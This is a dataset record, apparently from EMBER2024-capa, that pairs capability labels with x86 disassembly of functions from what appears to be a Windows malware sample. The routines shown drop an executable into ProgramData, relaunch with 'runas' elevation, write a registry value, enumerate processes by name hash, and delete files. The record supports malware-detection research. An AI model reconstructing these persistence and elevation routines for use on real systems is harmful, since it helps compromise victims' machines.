joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013b5
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x117]
push ebx
push eax
mov byte [ebp - 0x118], bl
call sub.ntdll.dll_memset
xor eax, eax
mov byte [ebp - 0x14], bl
lea edi, [ebp - 0x13]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 0xc
push 0x1c
stosb byte es:[edi], al
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x40140c
push 0x97
push 0x1b
mov edx, 0x40ade0
call fcn.00404340
mov esi, 0x104
push esi
lea ecx, [ebp - 0x118]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x4014b6
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401431
push 0x8004
lea ecx, [ebp - 0x14]
sub eax, edx
push ecx
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.00402217
test eax, eax
je 0x4014b6
xor al, al
lea edi, [ebp - 0x118]
mov ecx, esi
rep stosb byte es:[edi], al
lea eax, [ebp - 0x118]
lea edi, [ebp - 0x14]
call fcn.004022ec
lea eax, [ebp - 0x21c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.00404539
mov ecx, str.C:ProgramData42248jjbbd.exe
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x401499
push ecx
lea ecx, [ebp - 0x21c]
sub eax, esi
push ecx
call fcn.004037e2
test eax, eax
je 0x4014b6
xor ebx, ebx
inc ebx
mov eax, ebx
lea esp, [ebp - 0x228]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4014c9
Capabilities:
Check os version
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push 0x11c
lea eax, [ebp - 0x158]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x158]
push eax
mov dword [ebp - 0x158], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x401553
cmp dword [ebp - 0x154], 6
jb 0x401553
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call main
cmp eax, 0x2000
jae 0x401553
push 6
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x401553
lea eax, [ebp - 0x3c]
call fcn.00401bc3
test eax, eax
je 0x401545
lea edi, [ebp - 0x3c]
call fcn.00401cfb
test eax, eax
je 0x401539
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
leave
ret
Function at 0x401555
Capabilities:
Check if file exists
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
call fcn.004045f4
push 0x4014c3
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.004030ac
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call fcn.00403331
call fcn.00402344
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, 0x104
push edi
push str.C:34e2ed3c7e58ea92.exe
xor ebx, ebx
push ebx
mov dword [0x431954], eax
call esi
call fcn.00403b2d
push 0x5217027e
call fcn.004026f6
test eax, eax
jne 0x4015e1
cmp dword [0x431954], ebx
jne 0x4015e1
call fcn.00402593
test eax, eax
jne 0x4015e1
call fcn.004016c1
test eax, eax
jne 0x4016a9
call fcn.00401ad6
test eax, eax
jne 0x4016a9
call fcn.004014c9
call section..text
test eax, eax
je 0x40164f
call fcn.00401db4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call main
cmp eax, 0x2000
jbe 0x4016a9
push edi
lea eax, [ebp - 0x104]
push eax
push ebx
call esi
lea edi, [ebp - 0x104]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x40161d
lea eax, [ebp - 0x104]
mov esi, 0x408670
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, ebx
je 0x4016a9
lea edi, [ebp - 0x104]
call fcn.0040384c
call fcn.004011e6
jmp 0x4016a9
call fcn.004010f0
cmp dword [0x431984], ebx
je 0x40168f
call fcn.00401a83
call fcn.004013b5
test eax, eax
jne 0x40168f
push 0x14
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x401689
push 0x8d
push 0x11
mov edx, 0x40adcc
call fcn.00404340
push eax
call fcn.00402e34
call fcn.00401248
cmp dword [0x431984], ebx
je 0x4016a9
cmp dword [0x43198c], ebx
jne 0x4016a9
call fcn.0040386d
cmp dword [0x431988], ebx
je 0x4016b9
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401bc3
Capabilities:
Accept command line arguments
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push ebx
push esi
push edi
xor ebx, ebx
push 0x3c
mov esi, eax
push ebx
push esi
mov dword [ebp - 4], ebx
call sub.ntdll.dll_memset
add esp, 0xc
mov edi, 0x104
push edi
lea eax, [ebp - 0x424]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x401cf3
push edi
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameW]
test eax, eax
je 0x401cf3
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.00401b4e
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x401c3d
mov dword [ebp - 8], 0x408674
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x618
push 8
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebx
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401cf3
push dword [ebp - 8]
lea ecx, [ebp - 0x424]
push ecx
push 0x408678
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x20a
push 8
call edi
push eax
call ebx
mov ebx, eax
xor eax, eax
cmp ebx, eax
je 0x401cd7
push ebx
push eax
push eax
push 0x25
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x401cd7
push 0x4086a4
push ebx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
je 0x401cd7
mov eax, dword [ebp - 0xc]
and dword [esi + 0x1c], 0
mov dword [ebp - 4], 1
mov dword [esi], 0x3c
mov dword [esi + 0xc], str.runas
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], eax
mov dword [esi + 4], 0x40
jmp 0x401cf3
push dword [ebp - 0xc]
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
test ebx, ebx
je 0x401cf3
push ebx
push 0
call edi
push eax
call esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401cfb
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor ebx, ebx
jmp 0x401d1f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
jne 0x401d26
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call esi
test eax, eax
je 0x401d07
push 0xffffffffffffffff
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi + 0x38]
test eax, eax
je 0x401d40
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401d49
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
inc ebx
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x401d4e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push edi
push 0x3c
pop edx
xor al, al
mov ecx, edx
lea edi, [ebp - 0x3c]
rep stosb byte es:[edi], al
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
push 8
mov dword [ebp - 0x28], eax
pop eax
mov dword [ebp - 0x3c], edx
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x401d8f
push 0x87
push 4
mov edx, 0x40ae40
call fcn.00404340
and dword [ebp - 8], 0
and dword [ebp - 0x20], 0
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x38], 0x200000
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
lea esp, [ebp - 0x40]
pop edi
leave
ret 8
Function at 0x402217
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor esi, esi
push 4
xor ebx, ebx
pop edi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], edi
cmp dword [ebp + 8], esi
je 0x4022e3
cmp dword [ebp + 0xc], esi
je 0x4022e3
cmp dword [ebp + 0x10], esi
je 0x4022e3
push 0xf0000020
push 1
push esi
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4022c6
cmp dword [ebp - 8], esi
je 0x4022c6
lea eax, [ebp - 4]
push eax
push esi
push esi
push dword [ebp + 0x14]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x4022c6
cmp dword [ebp - 4], esi
je 0x4022d4
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x4022c6
push esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
call edi
test eax, eax
je 0x4022c6
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
push 2
push dword [ebp - 4]
call edi
test eax, eax
je 0x4022c6
inc ebx
cmp dword [ebp - 4], esi
je 0x4022d4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 8], esi
je 0x4022e3
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 0x10

Function at 0x402487
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor esi, esi
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], eax
cmp eax, esi
jne 0x4024d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x4024e6
push 0x1388
call ebx
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push esi
call edi
mov dword [ebp - 4], eax
cmp eax, esi
je 0x4024e6
push 4
push ebx
push 9
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_ZwSetInformationThread]
push dword [ebp - 4]
call fcn.00402796
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4024f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x128
push esi
push edi
xor edi, edi
push 0x124
lea eax, [esp + 0x10]
push edi
push eax
mov dword [esp + 0x14], edi
call sub.ntdll.dll_memset
add esp, 0xc
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40252b
xor eax, eax
jmp 0x40258b
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x402527
push dword [ebp + 8]
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402567
push dword [esp + 0x10]
push 0x100400
call fcn.004023cc
cmp eax, edi
jne 0x402579
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402543
jmp 0x402583
push eax
call fcn.00402796
mov edi, dword [esp + 0x10]
push esi
call fcn.00402796
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x402649
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
and dword [ebp - 0x12c], 0
push esi
push edi
push 0x124
lea eax, [ebp - 0x128]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402687
xor eax, eax
jmp 0x4026f0
lea eax, [ebp - 0x12c]
push eax
push esi
mov dword [ebp - 0x12c], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x402683
lea eax, [ebp - 0x108]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4026ac
sub eax, edx
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
push eax
call fcn.004047bd
cmp eax, dword [ebp + 8]
je 0x4026e2
lea eax, [ebp - 0x12c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4026a3
jmp 0x4026e8
mov edi, dword [ebp - 0x124]
push esi
call fcn.00402796
mov eax, edi
pop edi
pop esi
leave
ret 4

Function at 0x4026f6
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x128
and dword [esp], 0
push esi
push edi
push 0x124
lea eax, [esp + 0x10]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402732
xor eax, eax
jmp 0x40278e
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40272e
lea eax, [esp + 0x2c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402751
sub eax, edx
push eax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
push eax
call fcn.004047bd
cmp eax, dword [ebp + 8]
je 0x402783
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x40274a
jmp 0x402786
xor edi, edi
inc edi
push esi
call fcn.00402796
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x402a86
Capabilities:
Check os version
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
push ebx
push esi
push edi
mov edx, 0x9c
xor al, al
mov ecx, edx
lea edi, [ebp - 0xb4]
rep stosb byte es:[edi], al
lea eax, [ebp - 0xb4]
push eax
xor ebx, ebx
mov dword [ebp - 0xb4], edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x402ac3
xor eax, eax
jmp 0x402ba3
cmp dword [ebp - 0xa4], 2
jne 0x402b9d
cmp dword [ebp - 0xb0], 6
jb 0x402b9d
lea eax, [ebp - 4]
push eax
push 8
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402b99
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
push 0x12
push dword [ebp - 4]
mov dword [ebp - 0x10], ebx
call esi
test eax, eax
jne 0x402b24
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402abc
cmp dword [ebp - 0x18], 3
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jne 0x402b8c
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 8]
push eax
push 0x13
push dword [ebp - 4]
mov dword [ebp - 8], ebx
call esi
test eax, eax
je 0x402b19
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xf8]
push eax
push ebx
push 0x1a
mov dword [ebp - 0x14], 0x44
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x402b85
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0xf8]
push eax
push dword [ebp - 8]
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x402b85
mov ebx, dword [ebp - 0xc]
push dword [ebp - 8]
call edi
jmp 0x402b94
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov ebx, eax
push dword [ebp - 4]
call edi
mov eax, ebx
jmp 0x402ba3
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402c42
Capabilities:
Enumerate files on windows
Get common file path
Query environment variable
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
push ebx
push esi
push edi
xor edi, edi
push 0x13c
lea eax, [ebp - 0x148]
push edi
push eax
mov dword [ebp - 0x14c], edi
call sub.ntdll.dll_memset
add esp, 0xc
push 0x18
pop eax
mov dword [ebp - 8], edi
call sub.ntdll.dll__alloca_probe
mov esi, esp
cmp esi, edi
je 0x402c8f
push 0x85
push 0x14
mov eax, esi
mov edx, 0x40a9a0
call fcn.00404340
push 0x18
pop eax
call sub.ntdll.dll__alloca_probe
mov ebx, esp
cmp ebx, edi
je 0x402cb0
push 0x97
push 0x14
mov eax, ebx
mov edx, 0x40a9b4
call fcn.00404340
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x402cd1
push 0x99
push 5
mov eax, edi
mov edx, 0x40a9cc
call fcn.00404340
call fcn.00402344
test eax, eax
mov eax, ebx
jne 0x402cde
mov eax, esi
mov esi, 0x104
push esi
lea ecx, [ebp - 0x254]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x35c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x254]
push eax
call esi
push edi
lea eax, [ebp - 0x254]
push eax
call fcn.00404539
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
test edi, edi
je 0x402de0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
test eax, eax
je 0x402dca
cmp dword [ebp - 0xc], 0
jne 0x402dca
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402d85
push 0x82
push 9
mov edx, 0x40a6b8
call fcn.00404340
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00403646
test eax, eax
je 0x402dca
cmp dword [ebp + 8], 0
je 0x402db7
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x564]
push 0x4086ec
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x564]
push eax
call fcn.00403759
test eax, eax
je 0x402dca
lea eax, [ebp - 0x120]
push eax
call fcn.00402861
mov dword [ebp - 8], eax
test eax, eax
jne 0x402de0
lea eax, [ebp - 0x14c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402d3a
lea eax, [ebp - 0x35c]
push eax
call esi
test edi, edi
je 0x402df4
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 8]
lea esp, [ebp - 0x574]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x402e34
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
xor ebx, ebx
mov esi, 0x103
push esi
lea eax, [ebp - 0x20f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x210], bl
call sub.ntdll.dll_memset
push esi
lea eax, [ebp - 0x10b]
push ebx
push eax
mov byte [ebp - 0x10c], bl
call sub.ntdll.dll_memset
add esp, 0x18
cmp dword [ebp + 8], ebx
je 0x402f60
lea edi, [esi + 1]
push edi
lea eax, [ebp - 0x210]
push eax
push str.C:ProgramData42248jjbbd.exe
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x34
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x402eb6
push 0x8a
push 0x31
mov edx, 0x40a250
call fcn.00404340
lea ecx, [ebp - 4]
push ecx
push 0x20206
push ebx
push eax
mov esi, 0x80000001
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 2
jne 0x402ee0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
cmp eax, ebx
jne 0x402f52
push 0x30
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x402f03
push 0x95
push 0x2d
mov edx, 0x40a220
call fcn.00404340
lea ecx, [ebp - 0x210]
push ecx
push eax
lea eax, [ebp - 0x10c]
push edi
push eax
call sub.ntdll.dll__snprintf
lea eax, [ebp - 0x10c]
add esp, 0x10
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402f24
sub eax, esi
inc eax
push eax
lea eax, [ebp - 0x10c]
push eax
push 1
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x402f52
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
cmp dword [ebp - 4], ebx
je 0x402f60
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea esp, [ebp - 0x21c]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4031cd
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push edi
test esi, esi
je 0x403246
push 0x3c
pop edx
xor al, al
mov ecx, edx
lea edi, [ebp - 0x3c]
rep stosb byte es:[edi], al
mov eax, dword [ebp + 8]
and dword [ebp - 0x20], 0
push 8
mov dword [ebp - 0x28], eax
pop eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x2c], esi
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x403213
push 0x88
push 4
mov edx, 0x40a81c
call fcn.00404340
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x38], 0x800040
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
cmp dword [ebp + 0xc], 0
je 0x403246
cmp dword [ebp - 4], 0
je 0x403246
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call fcn.00402796
lea esp, [ebp - 0x40]
pop edi
leave
ret 8
Function at 0x4035af
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
xor esi, esi
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x403634
push 0x80000000
push dword [ebp + 8]
call fcn.00403556
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x403634
push edi
xor eax, eax
mov dword [ebp - 0x10], ebx
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], esi
cmp esi, ebx
je 0x403628
call fcn.004046ae
mov edi, eax
mov dword [ebp - 4], edi
cmp edi, ebx
je 0x403628
push ebx
lea eax, [ebp - 8]
push eax
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
jne 0x403628
mov esi, edi
call fcn.00404762
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call fcn.00402796
mov esi, dword [ebp - 0xc]
pop edi
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x40363d
mov dword [eax], esi
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret 8

Function at 0x403646
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], edi
cmp dword [ebp + 8], edi
je 0x403749
cmp dword [ebp + 0xc], edi
je 0x403749
push edi
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov esi, eax
cmp esi, edi
je 0x403749
call fcn.004046ae
mov ebx, eax
cmp ebx, edi
je 0x403749
push ebx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x403742
push 0x1c
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, edi
je 0x4036bf
push 0x83
push 0x1a
mov edx, 0x40a980
call fcn.00404340
mov edi, dword [sym.imp.VERSION.dll_VerQueryValueA]
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push ebx
call edi
test eax, eax
je 0x403742
push 0x28
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x4036f4
push 0x82
push 0x27
mov edx, 0x40a88c
call fcn.00404340
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + 2]
movzx ecx, word [ecx]
push edx
push ecx
push eax
lea eax, [ebp - 0x118]
push 0x104
push eax
call sub.ntdll.dll__snprintf
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x118]
push eax
push ebx
call edi
test eax, eax
je 0x403742
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x403742
mov dword [ebp - 4], 1
mov esi, ebx
call fcn.00404762
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x124]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4037e2
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
mov esi, eax
cmp dword [ebp + 8], ebx
je 0x403844
cmp dword [ebp + 0xc], ebx
je 0x403844
cmp esi, ebx
je 0x403844
push edi
push 0x40000000
push dword [ebp + 8]
call fcn.00403556
mov edi, eax
cmp edi, 0xffffffff
jne 0x40381d
push dword [ebp + 8]
call fcn.00403534
mov edi, eax
cmp edi, 0xffffffff
je 0x403843
push dword [ebp + 0xc]
push edi
call fcn.00403576
test eax, eax
je 0x403838
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x403838
xor ebx, ebx
inc ebx
cmp edi, 0xffffffff
je 0x403843
push edi
call fcn.00402796
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 8

Function at 0x40384c
Capabilities:
Delete file
Set file attributes

Disassembly:
xor eax, eax
test edi, edi
je 0x40386c
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call esi
test eax, eax
jne 0x40386b
push edi
call esi
pop esi
ret